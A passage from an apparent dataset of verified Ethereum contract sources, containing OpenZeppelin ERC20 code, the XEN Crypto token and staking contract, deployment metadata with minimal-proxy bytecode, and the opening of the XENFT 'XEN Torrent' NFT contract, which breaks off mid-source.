"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC20.sol\";\nimport \"./extensions/IERC20Metadata.sol\";\nimport \"../../utils/Context.sol\";\n\n/**\n * @dev Implementation of the {IERC20} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n * For a generic mechanism see {ERC20PresetMinterPauser}.\n *\n * TIP: For a detailed writeup see our guide\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\n * to implement supply mechanisms].\n *\n * We have followed general OpenZeppelin Contracts guidelines: functions revert\n * instead returning `false` on failure. This behavior is nonetheless\n * conventional and does not conflict with the expectations of ERC20\n * applications.\n *\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n * This allows applications to reconstruct the allowance for all accounts just\n * by listening to said events. Other implementations of the EIP may not emit\n * these events, as it isn't required by the specification.\n *\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\n * functions have been added to mitigate the well-known issues around setting\n * allowances. See {IERC20-approve}.\n */\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n /**\n * @dev Sets the values for {name} and {symbol}.\n *\n * The default value of {decimals} is 18. To select a different value for\n * {decimals} you should overload it.\n *\n * All two of these values are immutable: they can only be set once during\n * construction.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev Returns the name of the token.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the symbol of the token, usually a shorter version of the\n * name.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the number of decimals used to get its user representation.\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\n * be displayed to a user as `5.05` (`505 / 10 ** 2`).\n *\n * Tokens usually opt for a value of 18, imitating the relationship between\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\n * overridden;\n *\n * NOTE: This information is only used for _display_ purposes: it in\n * no way affects any of the arithmetic of the contract, including\n * {IERC20-balanceOf} and {IERC20-transfer}.\n */\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n /**\n * @dev See {IERC20-totalSupply}.\n */\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n /**\n * @dev See {IERC20-balanceOf}.\n */\n function balanceOf(address account) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n /**\n * @dev See {IERC20-transfer}.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - the caller must have a balance of at least `amount`.\n */\n function transfer(address to, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-allowance}.\n */\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n /**\n * @dev See {IERC20-approve}.\n *\n * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on\n * `transferFrom`. This is semantically equivalent to an infinite approval.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-transferFrom}.\n *\n * Emits an {Approval} event indicating the updated allowance. This is not\n * required by the EIP. See the note at the beginning of {ERC20}.\n *\n * NOTE: Does not update the allowance if the current allowance\n * is the maximum `uint256`.\n *\n * Requirements:\n *\n * - `from` and `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n * - the caller must have allowance for ``from``'s tokens of at least\n * `amount`.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n /**\n * @dev Atomically increases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n /**\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `spender` must have allowance for the caller of at least\n * `subtractedValue`.\n */\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n /**\n * @dev Moves `amount` of tokens from `from` to `to`.\n *\n * This internal function is equivalent to {transfer}, and can be used to\n * e.g. implement automatic token fees, slashing mechanisms, etc.\n *\n * Emits a {Transfer} event.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n */\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(fromBalance >= amount, \"ERC20: transfer amount exceeds balance\");\n unchecked {\n _balances[from] = fromBalance - amount;\n }\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\n * the total supply.\n *\n * Emits a {Transfer} event with `from` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n /**\n * @dev Destroys `amount` tokens from `account`, reducing the\n * total supply.\n *\n * Emits a {Transfer} event with `to` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n * - `account` must have at least `amount` tokens.\n */\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\n *\n * This internal function is equivalent to `approve`, and can be used to\n * e.g. set automatic allowances for certain subsystems, etc.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `owner` cannot be the zero address.\n * - `spender` cannot be the zero address.\n */\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n /**\n * @dev Updates `owner` s allowance for `spender` based on spent `amount`.\n *\n * Does not update the allowance amount in case of infinite allowance.\n * Revert if not enough allowance is available.\n *\n * Might emit an {Approval} event.\n */\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(currentAllowance >= amount, \"ERC20: insufficient allowance\");\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n /**\n * @dev Hook that is called before any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * will be transferred to `to`.\n * - when `from` is zero, `amount` tokens will be minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * has been transferred to `to`.\n * - when `from` is zero, `amount` tokens have been minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens have been burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC2981.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (interfaces/IERC2981.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Interface for the NFT Royalty Standard.\n *\n * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal\n * support for royalty payments across all NFT marketplaces and ecosystem participants.\n *\n * _Available since v4.5._\n */\ninterface IERC2981 is IERC165 {\n /**\n * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of\n * exchange. The royalty amount is denominated and should be paid in that same unit of exchange.\n */\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n external\n view\n returns (address receiver, uint256 royaltyAmount);\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IStakingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IStakingToken {\n event Staked(address indexed user, uint256 amount, uint256 term);\n\n event Withdrawn(address indexed user, uint256 amount, uint256 reward);\n\n function stake(uint256 amount, uint256 term) external;\n\n function withdraw() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IRankedMintingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IRankedMintingToken {\n event RankClaimed(address indexed user, uint256 term, uint256 rank);\n\n event MintClaimed(address indexed user, uint256 rewardAmount);\n\n function claimRank(uint256 term) external;\n\n function claimMintReward() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnableToken {\n function burn(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnRedeemable {\n event Redeemed(\n address indexed user,\n address indexed xenContract,\n address indexed tokenContract,\n uint256 xenAmount,\n uint256 tokenAmount\n );\n\n function onTokenBurned(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/XENCrypto.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"./Math.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\";\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\nimport \"./interfaces/IStakingToken.sol\";\nimport \"./interfaces/IRankedMintingToken.sol\";\nimport \"./interfaces/IBurnableToken.sol\";\nimport \"./interfaces/IBurnRedeemable.sol\";\n\ncontract XENCrypto is Context, IRankedMintingToken, IStakingToken, IBurnableToken, ERC20(\"XEN Crypto\", \"XEN\") {\n using Math for uint256;\n using ABDKMath64x64 for int128;\n using ABDKMath64x64 for uint256;\n\n // INTERNAL TYPE TO DESCRIBE A XEN MINT INFO\n struct MintInfo {\n address user;\n uint256 term;\n uint256 maturityTs;\n uint256 rank;\n uint256 amplifier;\n uint256 eaaRate;\n }\n\n // INTERNAL TYPE TO DESCRIBE A XEN STAKE\n struct StakeInfo {\n uint256 term;\n uint256 maturityTs;\n uint256 amount;\n uint256 apy;\n }\n\n // PUBLIC CONSTANTS\n\n uint256 public constant SECONDS_IN_DAY = 3_600 * 24;\n uint256 public constant DAYS_IN_YEAR = 365;\n\n uint256 public constant GENESIS_RANK = 1;\n\n uint256 public constant MIN_TERM = 1 * SECONDS_IN_DAY - 1;\n uint256 public constant MAX_TERM_START = 100 * SECONDS_IN_DAY;\n uint256 public constant MAX_TERM_END = 1_000 * SECONDS_IN_DAY;\n uint256 public constant TERM_AMPLIFIER = 15;\n uint256 public constant TERM_AMPLIFIER_THRESHOLD = 5_000;\n uint256 public constant REWARD_AMPLIFIER_START = 3_000;\n uint256 public constant REWARD_AMPLIFIER_END = 1;\n uint256 public constant EAA_PM_START = 100;\n uint256 public constant EAA_PM_STEP = 1;\n uint256 public constant EAA_RANK_STEP = 100_000;\n uint256 public constant WITHDRAWAL_WINDOW_DAYS = 7;\n uint256 public constant MAX_PENALTY_PCT = 99;\n\n uint256 public constant XEN_MIN_STAKE = 0;\n\n uint256 public constant XEN_MIN_BURN = 0;\n\n uint256 public constant XEN_APY_START = 20;\n uint256 public constant XEN_APY_DAYS_STEP = 90;\n uint256 public constant XEN_APY_END = 2;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n // PUBLIC STATE, READABLE VIA NAMESAKE GETTERS\n\n uint256 public immutable genesisTs;\n uint256 public globalRank = GENESIS_RANK;\n uint256 public activeMinters;\n uint256 public activeStakes;\n uint256 public totalXenStaked;\n // user address => XEN mint info\n mapping(address => MintInfo) public userMints;\n // user address => XEN stake info\n mapping(address => StakeInfo) public userStakes;\n // user address => XEN burn amount\n mapping(address => uint256) public userBurns;\n\n // CONSTRUCTOR\n constructor() {\n genesisTs = block.timestamp;\n }\n\n // PRIVATE METHODS\n\n /**\n * @dev calculates current MaxTerm based on Global Rank\n * (if Global Rank crosses over TERM_AMPLIFIER_THRESHOLD)\n */\n function _calculateMaxTerm() private view returns (uint256) {\n if (globalRank > TERM_AMPLIFIER_THRESHOLD) {\n uint256 delta = globalRank.fromUInt().log_2().mul(TERM_AMPLIFIER.fromUInt()).toUInt();\n uint256 newMax = MAX_TERM_START + delta * SECONDS_IN_DAY;\n return Math.min(newMax, MAX_TERM_END);\n }\n return MAX_TERM_START;\n }\n\n /**\n * @dev calculates Withdrawal Penalty depending on lateness\n */\n function _penalty(uint256 secsLate) private pure returns (uint256) {\n // =MIN(2^(daysLate+3)/window-1,99)\n uint256 daysLate = secsLate / SECONDS_IN_DAY;\n if (daysLate > WITHDRAWAL_WINDOW_DAYS - 1) return MAX_PENALTY_PCT;\n uint256 penalty = (uint256(1) << (daysLate + 3)) / WITHDRAWAL_WINDOW_DAYS - 1;\n return Math.min(penalty, MAX_PENALTY_PCT);\n }\n\n /**\n * @dev calculates net Mint Reward (adjusted for Penalty)\n */\n function _calculateMintReward(\n uint256 cRank,\n uint256 term,\n uint256 maturityTs,\n uint256 amplifier,\n uint256 eeaRate\n ) private view returns (uint256) {\n uint256 secsLate = block.timestamp - maturityTs;\n uint256 penalty = _penalty(secsLate);\n uint256 rankDelta = Math.max(globalRank - cRank, 2);\n uint256 EAA = (1_000 + eeaRate);\n uint256 reward = getGrossReward(rankDelta, amplifier, term, EAA);\n return (reward * (100 - penalty)) / 100;\n }\n\n /**\n * @dev cleans up User Mint storage (gets some Gas credit;))\n */\n function _cleanUpUserMint() private {\n delete userMints[_msgSender()];\n activeMinters--;\n }\n\n /**\n * @dev calculates XEN Stake Reward\n */\n function _calculateStakeReward(\n uint256 amount,\n uint256 term,\n uint256 maturityTs,\n uint256 apy\n ) private view returns (uint256) {\n if (block.timestamp > maturityTs) {\n uint256 rate = (apy * term * 1_000_000) / DAYS_IN_YEAR;\n return (amount * rate) / 100_000_000;\n }\n return 0;\n }\n\n /**\n * @dev calculates Reward Amplifier\n */\n function _calculateRewardAmplifier() private view returns (uint256) {\n uint256 amplifierDecrease = (block.timestamp - genesisTs) / SECONDS_IN_DAY;\n if (amplifierDecrease < REWARD_AMPLIFIER_START) {\n return Math.max(REWARD_AMPLIFIER_START - amplifierDecrease, REWARD_AMPLIFIER_END);\n } else {\n return REWARD_AMPLIFIER_END;\n }\n }\n\n /**\n * @dev calculates Early Adopter Amplifier Rate (in 1/000ths)\n * actual EAA is (1_000 + EAAR) / 1_000\n */\n function _calculateEAARate() private view returns (uint256) {\n uint256 decrease = (EAA_PM_STEP * globalRank) / EAA_RANK_STEP;\n if (decrease > EAA_PM_START) return 0;\n return EAA_PM_START - decrease;\n }\n\n /**\n * @dev calculates APY (in %)\n */\n function _calculateAPY() private view returns (uint256) {\n uint256 decrease = (block.timestamp - genesisTs) / (SECONDS_IN_DAY * XEN_APY_DAYS_STEP);\n if (XEN_APY_START - XEN_APY_END < decrease) return XEN_APY_END;\n return XEN_APY_START - decrease;\n }\n\n /**\n * @dev creates User Stake\n */\n function _createStake(uint256 amount, uint256 term) private {\n userStakes[_msgSender()] = StakeInfo({\n term: term,\n maturityTs: block.timestamp + term * SECONDS_IN_DAY,\n amount: amount,\n apy: _calculateAPY()\n });\n activeStakes++;\n totalXenStaked += amount;\n }\n\n // PUBLIC CONVENIENCE GETTERS\n\n /**\n * @dev calculates gross Mint Reward\n */\n function getGrossReward(\n uint256 rankDelta,\n uint256 amplifier,\n uint256 term,\n uint256 eaa\n ) public pure returns (uint256) {\n int128 log128 = rankDelta.fromUInt().log_2();\n int128 reward128 = log128.mul(amplifier.fromUInt()).mul(term.fromUInt()).mul(eaa.fromUInt());\n return reward128.div(uint256(1_000).fromUInt()).toUInt();\n }\n\n /**\n * @dev returns User Mint object associated with User account address\n */\n function getUserMint() external view returns (MintInfo memory) {\n return userMints[_msgSender()];\n }\n\n /**\n * @dev returns XEN Stake object associated with User account address\n */\n function getUserStake() external view returns (StakeInfo memory) {\n return userStakes[_msgSender()];\n }\n\n /**\n * @dev returns current AMP\n */\n function getCurrentAMP() external view returns (uint256) {\n return _calculateRewardAmplifier();\n }\n\n /**\n * @dev returns current EAA Rate\n */\n function getCurrentEAAR() external view returns (uint256) {\n return _calculateEAARate();\n }\n\n /**\n * @dev returns current APY\n */\n function getCurrentAPY() external view returns (uint256) {\n return _calculateAPY();\n }\n\n /**\n * @dev returns current MaxTerm\n */\n function getCurrentMaxTerm() external view returns (uint256) {\n return _calculateMaxTerm();\n }\n\n // PUBLIC STATE-CHANGING METHODS\n\n /**\n * @dev accepts User cRank claim provided all checks pass (incl. no current claim exists)\n */\n function claimRank(uint256 term) external {\n uint256 termSec = term * SECONDS_IN_DAY;\n require(termSec > MIN_TERM, \"CRank: Term less than min\");\n require(termSec < _calculateMaxTerm() + 1, \"CRank: Term more than current max term\");\n require(userMints[_msgSender()].rank == 0, \"CRank: Mint already in progress\");\n\n // create and store new MintInfo\n MintInfo memory mintInfo = MintInfo({\n user: _msgSender(),\n term: term,\n maturityTs: block.timestamp + termSec,\n rank: globalRank,\n amplifier: _calculateRewardAmplifier(),\n eaaRate: _calculateEAARate()\n });\n userMints[_msgSender()] = mintInfo;\n activeMinters++;\n emit RankClaimed(_msgSender(), term, globalRank++);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal Time Window), gets minted XEN\n */\n function claimMintReward() external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward and mint tokens\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n _mint(_msgSender(), rewardAmount);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and splits them between User and designated other address\n */\n function claimMintRewardAndShare(address other, uint256 pct) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(other != address(0), \"CRank: Cannot share with zero address\");\n require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share 100+ percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 sharedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - sharedReward;\n\n // mint reward tokens\n _mint(_msgSender(), ownReward);\n _mint(other, sharedReward);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and stakes 'pct' of it for 'term'\n */\n function claimMintRewardAndStake(uint256 pct, uint256 term) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n // require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share >100 percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 stakedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - stakedReward;\n\n // mint reward tokens part\n _mint(_msgSender(), ownReward);\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n\n // nothing to burn since we haven't minted this part yet\n // stake extra tokens part\n require(stakedReward > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n _createStake(stakedReward, term);\n emit Staked(_msgSender(), stakedReward, term);\n }\n\n /**\n * @dev initiates XEN Stake in amount for a term (days)\n */\n function stake(uint256 amount, uint256 term) external {\n require(balanceOf(_msgSender()) >= amount, \"XEN: not enough balance\");\n require(amount > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n // burn staked XEN\n _burn(_msgSender(), amount);\n // create XEN Stake\n _createStake(amount, term);\n emit Staked(_msgSender(), amount, term);\n }\n\n /**\n * @dev ends XEN Stake and gets reward if the Stake is mature\n */\n function withdraw() external {\n StakeInfo memory userStake = userStakes[_msgSender()];\n require(userStake.amount > 0, \"XEN: no stake exists\");\n\n uint256 xenReward = _calculateStakeReward(\n userStake.amount,\n userStake.term,\n userStake.maturityTs,\n userStake.apy\n );\n activeStakes--;\n totalXenStaked -= userStake.amount;\n\n // mint staked XEN (+ reward)\n _mint(_msgSender(), userStake.amount + xenReward);\n emit Withdrawn(_msgSender(), userStake.amount, xenReward);\n delete userStakes[_msgSender()];\n }\n\n /**\n * @dev burns XEN tokens and creates Proof-Of-Burn record to be used by connected DeFi services\n */\n function burn(address user, uint256 amount) public {\n require(amount > XEN_MIN_BURN, \"Burn: Below min limit\");\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"Burn: not a supported contract\"\n );\n\n _spendAllowance(user, _msgSender(), amount);\n _burn(user, amount);\n userBurns[user] += amount;\n IBurnRedeemable(_msgSender()).onTokenBurned(user, amount);\n }\n}\n"
},
"@faircrypto/xen-crypto/contracts/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\n\nlibrary Math {\n\n function min(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return b;\n return a;\n }\n\n function max(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return a;\n return b;\n }\n\n function logX64(uint256 x) external pure returns (int128) {\n return ABDKMath64x64.log_2(ABDKMath64x64.fromUInt(x));\n }\n}\n"
}
},
"settings": {
"remappings": [],
"optimizer": {
"enabled": true,
"runs": 20
},
"evmVersion": "london",
"libraries": {
"/contracts/libs/MintInfo.sol": {
"MintInfo": "0xC739d01beb34E380461BBa9ef8ed1a44874382Be"
},
"/contracts/libs/Metadata.sol": {
"Metadata": "0x1Ac17FFB8456525BfF46870bba7Ed8772ba063a5"
}
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}}
|
1 | 19,503,081 |
44d5eb1f606e48a1f7bf49b7ef6942bf3e75a1b6dce64d55238320f06d48777e
|
0574a1ef3a37f1ea8b041a3fba39caeffad00590c647ed9bbb578484c7d8d98a
|
5e05f02c1e0ada6eece8dca05b2c3fb551a8da2b
|
0a252663dbcc0b073063d6420a40319e438cfa59
|
b05e7f7733e7c8d3d273dc22cf4140958f1e66b5
|
3d602d80600a3d3981f3363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"/contracts/XENFT.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC2981.sol\";\nimport \"@openzeppelin/contracts/utils/Base64.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"@faircrypto/xen-crypto/contracts/XENCrypto.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol\";\nimport \"operator-filter-registry/src/DefaultOperatorFilterer.sol\";\nimport \"./libs/ERC2771Context.sol\";\nimport \"./interfaces/IERC2771.sol\";\nimport \"./interfaces/IXENTorrent.sol\";\nimport \"./interfaces/IXENProxying.sol\";\nimport \"./libs/MintInfo.sol\";\nimport \"./libs/Metadata.sol\";\nimport \"./libs/Array.sol\";\n\n/*\n\n \\\\ // ||||||||||| |\\ || A CRYPTOCURRENCY FOR THE MASSES\n \\\\ // || |\\\\ ||\n \\\\ // || ||\\\\ || PRINCIPLES OF XEN:\n \\\\// || || \\\\ || - No pre-mint; starts with zero supply\n XX |||||||| || \\\\ || - No admin keys\n //\\\\ || || \\\\ || - Immutable contract\n // \\\\ || || \\\\||\n // \\\\ || || \\\\|\n // \\\\ ||||||||||| || \\| Copyright (C) FairCrypto Foundation 2022\n\n\n XENFT XEN Torrent props:\n - count: number of VMUs\n - mintInfo: (term, maturityTs, cRank start, AMP, EAA, apex, limited, group, redeemed)\n */\ncontract XENTorrent is\n DefaultOperatorFilterer, // required to support OpenSea royalties\n IXENTorrent,\n IXENProxying,\n IBurnableToken,\n IBurnRedeemable,\n ERC2771Context, // required to support meta transactions\n IERC2981, // required to support NFT royalties\n ERC721(\"XEN Torrent\", \"XENT\")\n{\n // HELPER LIBRARIES\n\n using Strings for uint256;\n using MintInfo for uint256;\n using Array for uint256[];\n\n // PUBLIC CONSTANTS\n\n // XENFT common business logic\n uint256 public constant BLACKOUT_TERM = 7 * 24 * 3600; /* 7 days in sec */\n\n // XENFT categories' params\n uint256 public constant COMMON_CATEGORY_COUNTER = 10_001;\n uint256 public constant SPECIAL_CATEGORIES_VMU_THRESHOLD = 99;\n uint256 public constant LIMITED_CATEGORY_TIME_THRESHOLD = 3_600 * 24 * 365;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n uint256 public constant ROYALTY_BP = 250;\n\n // PUBLIC MUTABLE STATE\n\n // increasing counters for NFT tokenIds, also used as salt for proxies' spinning\n uint256 public tokenIdCounter = COMMON_CATEGORY_COUNTER;\n\n // Indexing of params by categories and classes:\n // 0: Collector\n // 1: Limited\n // 2: Rare\n // 3: Epic\n // 4: Legendary\n // 5: Exotic\n // 6: Xunicorn\n // [0, B1, B2, B3, B4, B5, B6]\n uint256[] public specialClassesBurnRates;\n // [0, 0, R1, R2, R3, R4, R5]\n uint256[] public specialClassesTokenLimits;\n // [0, 0, 0 + 1, R1+1, R2+1, R3+1, R4+1]\n uint256[] public specialClassesCounters;\n\n // mapping: NFT tokenId => count of 